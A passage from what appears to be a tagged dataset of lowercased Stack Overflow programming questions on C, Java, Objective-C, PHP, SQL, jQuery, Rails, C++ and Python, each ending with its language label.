%s\n   lineno  m);       exit(exit_failure);  /*  unsuccessful termination  */     }     /* main.c */      int main(void)     {         file *fs  *ft ;         char ch ;         fs = fopen (  d:\\source.txt    r  ) ;             if ( fs == null )                 {    puts (  cannot open source file  ) ;                 exit(0 ) ;                       }              ft = fopen (  d:\\out.txt   w  ) ;              if ( ft == null )                         {               puts (  cannot open target file  ) ;                   exit(0 ) ;                        }                init();       parse();       fclose(ft);       fclose(fs);       exit(0);    /*  successful termination  */     } </code></pre>,c
restarting java application  how can i introduce automatic updates and restart feature in java swing applications. also i needed to roll back to previous versions. i have made a application jar file and launcher jar file  which launches the application jar file. this attempt was successful. but i can not integrate these two jar files  when creating a installer for macosx.    the <code>launcher class</code> as follows:   <pre><code>public class launcher {  private final logger logger = logger.getlogger(launcher.class.getname());  private string getversionnumber() throws ioexception {     try {         jarfile runningjarfile = new jarfile(new file( application.jar ));         string versionnumber = runningjarfile.getmanifest()                 .getmainattributes().getvalue( bundle-version );         runningjarfile.close();         logger.log(                 level.severe                  new stringbuilder()                         .append( the version number of existing application.jar file is  )                         .append(versionnumber).tostring());         return versionnumber;     } catch (ioexception e) {         logger.log(                 level.severe                  new stringbuilder()                         .append( could not read the version number from existing application.jar )                         .append(arrays.tostring(e.getstacktrace()))                         .tostring());         throw new ioexception(e);     } }  private void updateapplication() {     try {         file updatedirectory = new file( update );         if (updatedirectory.isdirectory()) {             if (updatedirectory.list(new filenamefilter() {                 @override                 public boolean accept(file dir  string name) {                     return name.startswith( \\. );                 }             }).length &gt; 0) {                 string versionnumber = getversionnumber();                 logger.log(                         level.severe                          new stringbuilder()                                 .append( a new update is available. rename the existing application.jar to  )                                 .append(versionnumber)                                 .append( .jar )                                 .append(  and rename the new_application.jar to application.jar )                                 .tostring());                 file application = new file( application.jar );                 application.renameto(new file(new stringbuilder()                         .append(versionnumber).append( .jar ).tostring()));                 file newapplication = new file( update/new_application.jar );                 newapplication.renameto(new file( application.jar ));                 newapplication.delete();             }         }     } catch (exception e) {         logger.log(level.severe                  new stringbuilder().append( could not update application )                         .append(arrays.tostring(e.getstacktrace()))                         .tostring());     } }  private void launchapplication() {     try {         logger.log(level.severe   lauching application.jar );         processbuilder pb = new processbuilder( java    -jar    application.jar );         pb.start();     } catch (ioexception e) {         logger.log(level.severe                  new stringbuilder().append( could not launch application.jar  )                         .append(arrays.tostring(e.getstacktrace()))                         .tostring());     } }  private void quitlauncher() {     logger.log(level.severe   launcher is exiting );     system.exit(0); }  private void startapplication() {     updateapplication();     launchapplication();     quitlauncher(); }  public static void main(string[] args) {     launcher launcher = new launcher();     launcher.startapplication(); }  } </code></pre>   thanks,java
cannot see address book contacts in iphone <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/12648244/programmatically-request-access-to-contacts-in-ios-6 >programmatically request access to contacts in ios 6</a>    </blockquote>     i m trying to test out some functionality on my iphone in which i pull all the address book members and display them in a table. this works fine on the simulator  and i see the mock contacts like  john appleseed . when i run the code on my iphone  i only see  mobile user  which apparently is me.     how do i see all my address book contacts,ios
aes 128 encryption objective c  we are doing a aes 128 cbc encryption but the iv is not appending to the encrypted data. could someone help me.    the num of bytes encrypted is 16 bytes and the iv bytes are 16 in total. so i should get the 32 bytes (16(iv) + 16(cipher)). but i am getting only 16 bytes which is cipher.    i have written a java code that is generating correctly but with objective-c it is not.    <pre><code>#import  nsdata+aes.h  @implementation nsdata(aes)  - (nsdata *) encryptaes: (nsstring *) key {     char keyptr[kcckeysizeaes128+1];     bzero( keyptr  sizeof(keyptr) );      [key getcstring: keyptr maxlength: sizeof(keyptr) encoding:nsutf8stringencoding];     size_t numbytesencrypted = 0;      nsuinteger datalength = [self length];      size_t buffersize = datalength + kccblocksizeaes128;     void *buffer = malloc(buffersize);     const unsigned char iv[] = {0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00};      cccryptorstatus result = cccrypt( kccencrypt                                       kccalgorithmaes128                                       kccoptionpkcs7padding                                       keyptr                                       kcckeysizeaes128                                       iv                                       [self bytes]  [self length]                                       buffer  buffersize                                       &amp;numbytesencrypted );      if(result==kccsuccess )         return [nsdata datawithbytesnocopy:buffer length:numbytesencrypted]; }        </code></pre>,objective-c
php (eval vs call_user_func vs variable functions ...)  even though there s some discussions regarding this issue i wanted to check on certain example what would be the best approach.<br> instead of using existing solutions i created my own persistence layer (like many do) so my approach is also in question here.    for every table in db i have model class that has appropriate getters and setters and some mandatory methods. i also created only one generic dao class that handles all types of model objects.<br> so  for example to save any model object i instantiate genericdao class and call save method that i pass model object as attribute. problem is that in runtime genericdao class doesn t know whitch model object it gets and what methods (getters and setters) exist in it  so i need to call mandatory model class method that retrieves list of attributes as multiple string array.<br> for example for every attribute there s array(table_column_name attribute_name is_string).      when i call save function it looks like this:   <pre><code>public function save(&$vo) {   $paramarray = $vo->getparamarray();//get array of attributes $paramidarray = $paramarray[0];  //first attribute is always id /*create and execute getid() and store value into $void to check if it s save or update*/ eval( $void = $vo->get .ucfirst($paramidarray[1]). (); );   ...</code></pre>    currently i m using eval to execute those methods  but as it is well known eval is very slow.<br> i m thinking of changing that into call_user_func method<br> something like:   <pre><code>$void = call_user_func(array($vo   get .ucfirst($paramidarray[1]))); </code></pre>     but also there s other solutions. i can maybe use something like this  <pre><code>$method =  get .ucfirst($paramidarray[1])); $void = $vo->$method(); </code></pre>  or else    <pre><code>$method =  get .ucfirst($paramidarray[1])); $void = $vo->{$method}(); </code></pre>     what would be the best way,php
how to added placeholder for editable-select  i need placeholder for editable-select in x-editable angularjs.   <pre><code>&lt;span editable-select= data.centerid  e-name= centerid  e-form= rowform   e-placeholder= select center   e-ng-options= s.id as s.name for s in locationlistdata.centerdata  onbeforesave= checkcenter($data)   &gt;   {{ showcenter(data)}} &lt;/span&gt; </code></pre>,angularjs
sql count results <pre><code>select distinct lspo as  po listed   lssuid as  supplier id   lsshipspeed as  ship speed   count( po listed ) as  po count  from csn_order..tblloadshipping where  datalength(lspo) =  10   and lsdateloaded &gt;= dateadd(day -1  getdate()) and lspo like  cs%  and lsshipspeed is not null group by lspo  lssuid  lsshipspeed order by  po listed  desc </code></pre>   in po listed  i get a po one time  but the po count column is still giving me the result of 141  counting the number of instances that po had prior to either the where or the distinct filters.    maybe im going about this entirely the wrong way.     here are some results:   <pre><code>cs89980125  14347   153 1 cs89980122  22471   1   1 cs89980113  420 153 1 cs89980113  420 gr  1 </code></pre>   id like the last column  the counts  to indicate that cs89980113    is appearing twice,sql
how can i make this jquery more succinct   i m fairly new to jquery and would like some pointers on my following block of jquery code  i m interested in writing better code.     basically  the code just slides content in from the left when you click on one of two menu items and then on a further click slides it out. i guess i m trying to combine it into one code block rather than two functions.   <pre><code>$( #menu-item-91 ).click(function(e) {     e.preventdefault();     //console.log( clicked );     //$( .about ).css( display   inherit ).slidedown(3000);     var sliding = $( .sliding );     var sliding1 = $( .sliding1 );      if( sliding.css( display ) ==  none  &amp;&amp; sliding1.css( display ) ==  none  ) { //show it         sliding.fadein(0);         sliding.animate({ left : 0} 800);     }else if ( sliding.css( display ) ==  none  &amp;&amp; sliding1.css( display ) ==  block  ) {          sliding1.animate({ left : -300} 500 );         sliding1.delay(500).fadeout(0);         sliding.fadein(0);         sliding.animate({ left : 0} 800);     } else {          sliding.animate({ left : -300} 500 );         sliding.delay(500).fadeout(0);     }  });  $( #menu-item-17 ).click(function(e) {     e.preventdefault();     //console.log( clicked );     //$( .about ).css( display   inherit ).slidedown(3000);     var sliding = $( .sliding1 );     var sliding1 = $( .sliding );      if( sliding.css( display ) ==  none  &amp;&amp; sliding1.css( display ) ==  none  ) { //show it         sliding.fadein(0);         sliding.animate({ left : 0} 800);     }else if ( sliding.css( display ) ==  none  &amp;&amp; sliding1.css( display ) ==  block  ) {          sliding1.animate({ left : -300} 500 );         sliding1.delay(500).fadeout(0);         sliding.fadein(0);         sliding.animate({ left : 0} 800);     } else {          sliding.animate({ left : -300} 500 );         sliding.delay(500).fadeout(0);     }  }); </code></pre>   that s it! this is my first post so i hope i haven t broke any rules and someone out there can help me be better!    regards tom    <em><strong>edit</em></strong>    thanks guys! didn t want to mark an answer just yet as i think i probably missed out a bit of detail that s relevant for some of the answers.    the two classes .sliding and .sliding1 are added to separate divs - one called portfolio and one called about.     so the idea is that if you click the about menu item the about div slides in  then if you were to click the portfolio menu item then the about would slide out and portfolio would slide in. but if no items were displayed then the item you clicked would slide in.    hope this clarifies things  some of the answers just slide in the same content when either menu item was clicked.    thanks!,jquery
how to use or in sql in()  i can run sql query like    <pre><code>select * from table1 where subject1 in ( physics    chemistry ) </code></pre>   now i have two columns of subjects. can it be modified as   <pre><code>select * from table1  where subject1 or subject2 in ( physics    chemistry ) </code></pre>,sql
c#: order of execution of operands in an if statement  i came across some statements while surfing the .net source:   <pre><code>if( null != name) if( false == check()) </code></pre>   what is the difference between (name != null) and (check() == false) statements from the above statements     can any one get me clear of this  please.,c#
ziparchive can t unzip a larger zip file on the device (ipad)   ziparchive can t unzip a larger zip file on the device (ipad)  it works on the simulator  but doesn t on the ipad. the zip file is about 60mb.    it doesn t show any error message and just returns 0 (use unzipfileto method),ios
pushing view to second navigation controller  i have have a tabbar application which has two items. those two different tabbar items contains 2 different navigation controllers.  first navigation controller works fine but when i want to push a view to second navigation it generates   application tried to push a nil view controller on target .    here is the code for where i pushing a view to second navigation controller.   <pre><code>- (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath {  tabnavappdelegate *appdelegate = (tabnavappdelegate *)[[uiapplication sharedapplication] delegate]; jj_mapannotation *anno = (jj_mapannotation *) [depotsarray objectatindex:indexpath.row]; if(self.secondviewcontroller ==nil) {     secondviewcontroller *secview = [[secondviewcontroller alloc] initwithnibname:@ secondviewcontroller  bundle:nil];     self.secondviewcontroller == secview;     [self.secondviewcontroller.map addannotation:anno];     [secview release]; }   secondviewcontroller.title = [nsstring stringwithformat:@ %@   [anno title]];  [appdelegate.navcontroller pushviewcontroller:secondviewcontroller animated:yes];  </code></pre>,iphone
duplicate in ng-repeat  angular doesn t allow to have duplicate elements in an array declared in ng-repeat as explained <a href= https://docs.angularjs.org/error/ngrepeat/dupes  rel= nofollow >here</a>.    but what if i temporarily have a dup in my function (because i m reordering the array) and when the function returns there s no dup  will that work,angularjs
ruby failed to create app  i am new to ruby  i want to set up a new hello application in ruby  but i get always this error: (i am using osx  mountain lion)  what to do     rails new hello /system/library/frameworks/ruby.framework/versions/1.8/usr/lib/ruby/1.8/rubygems.rb:777:in <code>report_activate_error : rubygem version error: rack(1.5.2 not ~&gt; 1.4.5) (gem::loaderror)     from /system/library/frameworks/ruby.framework/versions/1.8/usr/lib/ruby/1.8/rubygems.rb:211:in</code>activate      from /system/library/frameworks/ruby.framework/versions/1.8/usr/lib/ruby/1.8/rubygems.rb:246:in <code>activate      from /system/library/frameworks/ruby.framework/versions/1.8/usr/lib/ruby/1.8/rubygems.rb:245:in</code>each      from /system/library/frameworks/ruby.framework/versions/1.8/usr/lib/ruby/1.8/rubygems.rb:245:in <code>activate      from /system/library/frameworks/ruby.framework/versions/1.8/usr/lib/ruby/1.8/rubygems.rb:246:in</code>activate      from /system/library/frameworks/ruby.framework/versions/1.8/usr/lib/ruby/1.8/rubygems.rb:245:in <code>each      from /system/library/frameworks/ruby.framework/versions/1.8/usr/lib/ruby/1.8/rubygems.rb:245:in</code>activate      from /system/library/frameworks/ruby.framework/versions/1.8/usr/lib/ruby/1.8/rubygems.rb:1056:in `gem      from /usr/bin/rails:18,ruby-on-rails
explain this part of arrowlets source code  i was looking through the <a href= http://www.cs.umd.edu/projects/pl/arrowlets/releases/arrowlets-alpha-20081103.js  rel= nofollow >arrowlets source code</a>  and found this section near the top:   <pre><code>/*  * box: a temporary (singleton) place to put stuff. used as a helper for constructors with variadic arguments.  */ function box(content) {     box.single.content = content;     return box.single; } /* javascript hackery based on the strange semantics of  new :  * - box() assigns box.single.value  so box.single has to be defined;  * - properties can be assigned to numbers (but have no effect);  * - when box.single = 1 (or any non-object)   new box  returns  this . */ box.single = 1; box.single = new box; box.prototype.tostring = function box$prototype$tostring() {     return  [box   + this.content +  ] ; } </code></pre>   i also looked through some of <code>box</code> s uses in the source code  and it seems like it is another way to pass multiple arguments  but i really don t understand how. also  the comments state that:   <blockquote>    when box.single = 1 (or any non-object)   new box  returns  this .  </blockquote>   but i thought whenever a constructor function was called with <code>new</code>  <code>this</code> would be returned. can someone please explain this to me     <strong>update</strong>:    i m having a hard time understanding why <code>box.single</code> has to be set to a non-object for this approach to work and what is gained with the trickery using the <code>new</code> operator. examples from a nodejs repl:    <strong>no <code>new</code> and using a non-object</strong>   <pre><code>&gt; function box(content) { ... box.single.content = content; ... return box.single; ... } box.single = {}; // note: setting box.single to an object {} &gt; //note: not using the  new  operator at all undefined &gt; box(23) { content: 23 } &gt; box.single { content: 23 } &gt; box({ name :  john }) { content: { name:  john  } } &gt; box.single { content: { name:  john  } } </code></pre>   <strong>using <code>new</code> and an object</strong>   <pre><code>&gt; function box(content) { ... box.single.content = content; ... return box.single; ... } undefined &gt; box.single = {}; // setting box.single to an object {} &gt; box.single = new box; // using the new operator { content: undefined } &gt; box({ name :  john }) { content: { name:  john  } } &gt; box.single { content: { name:  john  } } </code></pre>   as opposed to using the method from <strong>arrowlets</strong>:   <pre><code>&gt; function box(content) { ... box.single.content = content; ... return box.single; ... } undefined &gt; box.single = 1; // setting box.single to a non-object 1 &gt; box.single = new box; // using the new operator {} &gt; box(23) { content: 23 } &gt; box({ name :  john }) { content: { name:  john  } } &gt; box.single { content: { name:  john  } } </code></pre>   it seems like the arrowlets approach is just a convoluted way of accomplishing something simple. what am i missing,javascript
two divs with different backgrounds within the same loop  this code causes the images to be displayed on a rotating basis within the page.   <pre><code>&lt; php $myimageslist = array (    image1.png       image2.png       image3.png       image4.png       image5.png       image6.png       image7.png       image8.png       image9.png       image10.png  );  shuffle ($myimageslist);   for ($i=0; $i&lt;10; $i++) {     if ($i == 5)         echo  &lt;div style= background:#939393;clear:both;width:760px;height:500px; &gt;content&lt;/div&gt; ;     echo  &lt;img src= /imagens/  . $myimageslist[$i] .    width= 200  height= 140  border= 0  /&gt; ; }   &gt; </code></pre>   but how do i get these images  which have a  element (div)  separating them  have different (and different backgrounds) divs    example <br/><br/> <strong>how the code displays displays the content:</strong> <img src= https://imgur.com/yzkmxne.png  alt= image1 > <br/><br/> something like :   <pre><code>&lt;div style =  background: # 0600ff  id =  div02 &gt; image6.png image2.png image5.png image1.png image10.png  &lt;div style =  background: # 939393 &gt; content &lt;/ div&gt;  image3.png image4.png image7.png image9.png image8.png &lt;/ div&gt; </code></pre>   <br/><br/> <strong>as i would like it to be displayed:</strong> <img src= https://imgur.com/ajecz2f.png  alt= image2 >    something like :   <pre><code>&lt;div style =  background: # 0600ff  id =  div02 &gt; image6.png image2.png image5.png image1.png image10.png &lt;/ div&gt;  &lt;div style =  background: # 939393 &gt; content &lt;/ div&gt;  &lt;div style =  background: # 0600ff  id =  div02 &gt; image3.png image4.png image7.png image9.png image8.png &lt;/ div&gt; </code></pre>,php
finding count and existence of id  i m trying to write a query that combines finding a particular record (identified by primary key) having its <code>status</code> column set to <code>confirmed</code> but can also find whether that primary key exists in the table at all. this is what i tried:   <pre><code>select  count(`p2`.`id`) as `confirmed`  count(`p1`.`id`) as `exists` from `foos` `p2`  `foos` p1` where `p2`.`id` = 28 and  `p2`.`status` =  confirmed  and `p1`.`id` = 28 </code></pre>   so again  i m trying to find if there exists a <code>foo</code> with <code>id = 28</code> and <code>status =  confirmed </code> but i also want to know whether the id doesn t exist or whether it does exist but the <code>status</code> isn t <code>confirmed</code>. mysql says there s a problem with this query near    <pre><code>`p2`.`id` = 28 and  `p2`.`status` =  confirmed  </code></pre>   is this query possible at all,mysql
asp.net disable postback when user presses enter in a textbox  i am using vb for coding. i want to disable postback when user presses enter when writing in a textbox...instead cursor should move to a new line...how do i do that,asp.net
string concatenation <pre><code>string res1 =  calcapi.getxelementvalue(  +  \   + res[0] +  \   +     +  \   + res[1] +  \   +      + false +   )  </code></pre>   in    <pre><code>res[0] =  irs5555  res[1] =  irs001  </code></pre>   output of this code is:   <pre><code>calcapi.getxelementvalue( irs5555   irs001  false) </code></pre>   but i want    <pre><code>calcapi.getxelementvalue( irs5555   irs001  false) </code></pre>   <code>false</code> in lower case.    sorry for not providing full code... false is not static...   <pre><code>    public static object getelementdatatype(string datatype)      {          ///write here methos for fetching data type of current element.           object res = null;          switch (datatype.tolower())           {               case  int :                  res = 0;                  break;               case  double :                  res = 0.0;                  break;               case  string :                  res =   ;                  break;               case  myboolean :                  res = false;                  break;               default:                  res =   ;                  break;           }          return res;      }       string res1 =            calcapi.getxelementvalue(  +  \   + res[0] +  \   +                                           +  \   + res[1] +  \   +                                            + getelementdatatype( myboolean ) +   )  </code></pre>   then result is    <pre><code> calcapi.getxelementvalue( irs5555   irs001  false) </code></pre>   but i want    <pre><code> calcapi.getxelementvalue( irs5555   irs001  false) </code></pre>   if i pass double   <pre><code> string res1 =  calcapi.getxelementvalue(  +  \   + res[0] +  \   +     +  \   + res[1] +  \   +      + getelementdatatype( double ) +   )  </code></pre>   then result is    <pre><code>calcapi.getxelementvalue( irs5555   irs001  0) </code></pre>   but i want    <pre><code>calcapi.getxelementvalue( irs5555   irs001  0.0) </code></pre>   if i pass string    <pre><code>string res1 =  calcapi.getxelementvalue(  +  \   + res[0] +  \   +     +  \   + res[1] +  \   +      + getelementdatatype( string ) +   )  </code></pre>   then result is    <pre><code>calcapi.getxelementvalue( irs5555   irs001  ) </code></pre>   but i want    <pre><code>calcapi.getxelementvalue( irs5555   irs001    ) </code></pre>,c#
is there any benefit in not binding a solution file (to tfs) whilst keeping project files bound   i ve seen quite a few visual studio solutions where the actual solution file is <em>not bound</em> but the projects <em>are bound</em> to source control.    <strong>question:</strong>    is there any benefit in this approach when it comes to building on an integration server     so far i ve taken the approach that it must have been an oversight and just bound the solution  then committed to source control.,.net
could not find the main class. program will exit  i made a java application with netbeans and i made a jar file of it (with build project button)    the .jar file is running on my pc.i tried to run it on other pc (i have installed java jre) and i have the error message  could not find the main class. program will exit     my main class is called login.class i opened the manifest.mf of jar file and it look s ok   <pre><code>manifest-version: 1.0 ant-version: apache ant 1.8.2 created-by: 1.7.0_02-b13 (oracle corporation) class-path: lib/mysql-connector-java-3.1.14-bin.jar lib/beansbinding-1  .2.1.jar lib/jcalendar-1.4.1.v201109071408.jar lib/jgoodies-common-1.  2.0.jar lib/jgoodies-looks-2.4.1.jar lib/junit-4.6.jar x-comment: main-class will be added automatically by build main-class: login </code></pre>,java
how can i encrypt and then decrypt web.config contents  i have added the following setting inside my web.config file for an asp.net mvc web application   <pre><code>&lt;appsettings&gt;     //code goes here     &lt;add key= apiusername  value= testuser  /&gt;     &lt;add key= apipassword  value=   … /&gt;     &lt;add key= apiurl  value= http://win-spdev:8400/servlets/assetservlet  /&gt;   &lt;/appsettings&gt; </code></pre>   these setting are used to initiate an api call as follow inside my controller action method:-   <pre><code>    using (var client = new webclient())                     {                         var query = httputility.parsequerystring(string.empty);                         foreach (string key in formvalues)                         {                             query[key] = this.request.form[key];                         }  query[ username ] = system.web.configuration.webconfigurationmanager.appsettings[ apiusername ]; query[ password ] = system.web.configuration.webconfigurationmanager.appsettings[ apipassword ]; query[ assettype ] =  rack ; query[ operation ] =  addasset ; string apiurl = system.web.configuration.webconfigurationmanager.appsettings[ apiurl ]; var url = new uribuilder(apiurl); </code></pre>   i have read the following link about encrypting and decrypting the web.config file <a href= http://msdn.microsoft.com/en-us/library/zhhddkxy.aspx  rel= nofollow >http://msdn.microsoft.com/en-us/library/zhhddkxy.aspx</a>. but i am not sure how to do the encryption and decryption described in tehe link  inside my above action method,asp.net
how do i delete the disabled= disabled  attribute from my website code if it keeps coming back   i am working on an application form webpage for a business website. and no matter how many times i delete it  change it  use the exhausted <code>.removeatt</code>  <code>disabled= disabled </code> attribute attached to my submission button will just not go away. after deleting the <code>disabled= disabled </code> attribute  i opened the page in both notepad and dreamweaver and it s gone like it s supposed to be.     but when i open the page in a browser  the submit button stays dead and when i look into the code from the browser that <code>disabled= disabled </code> attribute still there. i normally loath going onto forums like this  but i ve been at this for days now and i m just at my wits end with zero progress. please help me because i really need to get this webpage done and if i can t get the submit button to at least respond  then all the work i put in this will go down the drain and i can t just start over from scratch.     here s a block of code for the <code>submit</code> button i m having trouble with:   <pre><code>&lt;div class= form-element-wrapper  id= submit-id &gt;   &lt;div style= text-align: left; &gt;     &lt;input type= submit  class= form-element  name= submit  value= submit  disabled= disabled &gt;   &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;/td&gt; &lt;td align= left  valign= top  width= 45% &gt;&amp;nbsp;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; </code></pre>   please help. :(,html
render @items and no routes matches error  i have four models:   <pre><code>class user &lt; activerecord::base   has_many :lists  dependent: :destroy   has_many :wishes  through: :lists   has_many :items  through: :wishes  class list &lt; activerecord::base   belongs_to :user   has_many :wishes  dependent: :destroy   has_many :items  through: :wishes  class wish &lt; activerecord::base   belongs_to :list   belongs_to :item  class item &lt; activerecord::base   has_many :wishes   has_many :lists  through: :wishes </code></pre>   my problem occurs when i want to show the <code>items</code> associated with a <code>list</code>. i get the error:   <pre><code>no route matches {:action=&gt; show   :controller=&gt; items   :id=&gt;#&lt;item id: nil  title: nil  link: nil  created_at: nil  updated_at: nil  image: nil&gt;} </code></pre>   it is as if it is trying to show an <code>item</code> which does not exist  because i have just one <code>item</code> in the database.   <pre><code>class listscontroller &lt; applicationcontroller   def show     @user = user.find(params[:user_id])     @list = @user.lists.find(params[:id])     @item = @list.items.build if current_user (@user)     @items = @list.items   end </code></pre>   app/view/lists/show.html.erb   <pre><code>  &lt;div class= span8 &gt;     &lt;% if @list.items.any  %&gt;       &lt;ol class= lists white-box &gt;         &lt;%= render @items %&gt;       &lt;/ol&gt;     &lt;% end %&gt;   &lt;/div&gt; </code></pre>   app/view/items/_item.html.erb   <pre><code>&lt;li&gt;     &lt;div class= clearfix &gt;         &lt;a class= thumb  href= &lt;%= item_path(item) %&gt; &gt;             &lt;%= image_tag item.image_url(:thumb).to_s %&gt;         &lt;/a&gt;         &lt;div class= clearfix &gt;           &lt;span class= content &gt;             &lt;%= item.title %&gt;  &lt;%= item.link %&gt;           &lt;/span&gt;           &lt;span class= timestamp &gt;             created &lt;%= time_ago_in_words(item.created_at) %&gt; ago.                     &lt;% if current_user (item.lists.last.user) %&gt;             &lt;%= link_to  delete   item  method: :delete                                          data: { confirm:  you sure   }                                          title: item.title %&gt;             &lt;% end %&gt;           &lt;/span&gt;          &lt;/div&gt;     &lt;/div&gt; &lt;/li&gt; </code></pre>   <strong>additional</strong>    if i change <code>app/view/items/_item.html.erb</code> to this:   <pre><code>&lt;li&gt;     &lt;div class= clearfix &gt;         &lt;a class= thumb  href= # &gt;             &lt;%= image_tag item.image_url(:thumb).to_s %&gt;         &lt;/a&gt;         &lt;div class= clearfix &gt;           &lt;span class= content &gt;             &lt;%= item.title %&gt;  &lt;%= item.link %&gt;           &lt;/span&gt;             &lt;/div&gt;     &lt;/div&gt; &lt;/li&gt; </code></pre>   the page is rendered  but shows this as if it tries to render an <code>item</code> which does not exist:    <img src= https://i.stack.imgur.com/h7eu3.png  alt= first line is the item from the database  the second line appears to be an empty item entry >    <strong>edit</strong>    in my <code>app/view/lists/show.html.erb</code> i have <code>&lt;%= render  shared/item_form  %&gt;</code> for building an item.    _item_form.html.erb looks like this:   <pre><code>&lt;% if signed_in  %&gt;    &lt;div id= addwish  class= modal hide fade  tabindex= -1  role= dialog  aria-labelledby= addwishlabel  aria-hidden= true &gt;     &lt;div class= modal-header &gt;       &lt;button type= button  class= close  data-dismiss= modal  aria-hidden= true &gt;×&lt;/button&gt;       &lt;h3 id= addwishlabel &gt;add wish&lt;/h3&gt;     &lt;/div&gt;     &lt;div class= modal-body &gt;       &lt;%= form_for(@item  html: { multipart: true }) do |f| %&gt;       &lt;div class= field &gt;         &lt;%= render  items/fields   f: f %&gt;         &lt;%= hidden_field_tag :list_id  @list.id %&gt;       &lt;/div&gt;     &lt;/div&gt;     &lt;div class= modal-footer &gt;       &lt;button class= btn  data-dismiss= modal  aria-hidden= true &gt;close&lt;/button&gt;       &lt;%= f.submit  add   class:  btn btn-primary  %&gt;       &lt;% end %&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;% end %&gt; </code></pre>,ruby-on-rails
segmentation fault when creating object  i have a problem with creating object on pointer.   <pre><code>include &lt;iostream&gt;  class foo { int bar; };  class list { public:   class foo * foo;   class list * next; };  main() {   class list * head;   head-&gt;foo = new foo;   return 0; }; </code></pre>   after creating new foo() on head program encounters segmentation fault. can someone help me with this,c++
can t find how to count friendship connections between montreal and toronto (sql)  please i can t find the sql request allowing me to count the number of connections of friends between 2 cities.i want to know how many connections exist between montreal and toronto for example.     here is an example of concerned tables from my database (sorry i couldn t make things well aligned):    <strong><code>cities</code></strong> table    <pre><code>c_id | name c1 | montreal c2 | toronto c3 | new york </code></pre>   <strong><code>user</code></strong> table   <pre><code>u_id | c_id | name 1 | c1 | jack 2 | c1 | hilary 3 | c2 | stefan 4 | c3 | luis </code></pre>   <strong><code>friends</code></strong> table   <pre><code>f_id | u_id1 | u_id2 1 | 1 | 2 2 | 1 | 3 3 | 2 | 4 4 | 1 | 4 5 | 4 | 3 6 | 3 | 2 </code></pre>   that would be really nice if someone can help me with that !!! thanks,sql
(jquery) toggle() on an <span> with  position: absolute; display: inline;   i have a form with input boxes horizontally across the page. i m trying to use an inline span with  position: absolute  so that the validation error floats above the other form elements. for the below demo  i ve reversed visibility so that the validation message hides on hover and appears on non-hover.    on the initial page load  the validation error appears on top of the other form elements correctly  all is well. once you hover  causing a jquery toggle  the text hides  which it should  still all is well. but when you mouse off  causing another jquery toggle  in chrome the validation text wraps down to the next line. in firefox  the validation text randomly appears in the correct and incorrect spot as you mouse over and mouse off. it s crazy!    no  i don t want to use toggleclass  because that doesn t animate. no  i don t want to use tooltip  i need to use a custom span. i just want toggle() to put the element back where it started.   <pre><code>&lt;html&gt; &lt;head&gt;     &lt;script type= text/javascript  src= jquery-2.1.1.js &gt;&lt;/script&gt;     &lt;script type= text/javascript &gt;         $(document).ready(function(){             $(  span.validationicon  ).hover(function(){ $(this).next().toggle( fast ).css( display    inline );});         });     &lt;/script&gt; &lt;/head&gt; &lt;body&gt;  &lt;form&gt;     &lt;span&gt;         &lt;label&gt;contact number&lt;/label&gt;         &lt;input type= tel /&gt;         &lt;span class= validationicon &gt;!!!&lt;/span&gt;         &lt;span style= position: absolute; display: inline; &gt;validation error goes in here&lt;/span&gt;     &lt;/span&gt;     &lt;span&gt;         &lt;label&gt;contact name&lt;/label&gt;         &lt;input type= text /&gt;         &lt;span class= validationicon &gt;!!!&lt;/span&gt;         &lt;span style= position: absolute; display: inline; &gt;other validation error goes in here&lt;/span&gt;     &lt;/span&gt; &lt;/form&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
how to run project in iphone mobile  hi i am new to iphone application development. i developed a simple project on xcode now i check it in mobile. how can i done this  means need to create exe file or any thing else pls help me,iphone
autoresize and asp.net  why doesn t work my project.i want use jquery autoresizable for my asp.net textbox     like this   <a href= http://james.padolsey.com/javascript/jquery-plugin-autoresize/  rel= nofollow noreferrer >http://james.padolsey.com/javascript/jquery-plugin-autoresize/</a>    this is code from master page..    <a href= http://www.djkbf.hr/~atokic/code.txt  rel= nofollow noreferrer >http://www.djkbf.hr/~atokic/code.txt</a>,asp.net
keyboardinterrupt does not work in multi threading python  i am trying to do multi threading to check the network connection. my code is:   <pre><code>exitflag = 0 lst_doxygen=[] lst_sphinx=[] class mythread (threading.thread):     def __init__(self  counter):         threading.thread.__init__(self)     self.counter=counter     def run(self):     print  starting thread          link_urls(self.counter)  def link_urls(delay):     global lst_doxygen     global lst_sphinx     global exitflag      while exitflag==0:         try:             if network_connection() is true:                 try:                     links = lxml.html.parse(gr.prefs().get_string( grc    doxygen_base_uri     ).split(   )[1]+ annotated.html ).xpath( //a/@href )                     for url in links:                          lst_doxygen.append(url)                     links = lxml.html.parse(gr.prefs().get_string( grc    sphinx_base_uri     ).split(   )[1]+ genindex.html ).xpath( //a/@href )                     for url in links:                          lst_sphinx.append(url)                     exitflag=1                 except ioerror  attributeerror:                     pass             time.sleep(delay)             print  my          except keyboardinterrupt:             exitflag=1   def network_connection():      network=false     try:         response = urllib2.urlopen( http://google.com   none  2.5)         network=true      except urllib2.urlerror  e:            pass     return network </code></pre>   i have set a flag to stop the thread inside while loop. i also want to exit the thread by pressing ctrl-c. so i have used try-except but thread is still working and does not exit. if i try to use    <pre><code>if keyboardinterrupt:     exitflag=1 </code></pre>   instead of try-except  thread just works for first time execution of while loop and then exist. p.s. i have created the instance of mythread class in another module.,python
tagging module in python  in python 2.4  how to install the module tagging can any one give me links to it..i am trying to implement a blog system and in the models of which i require this module,python
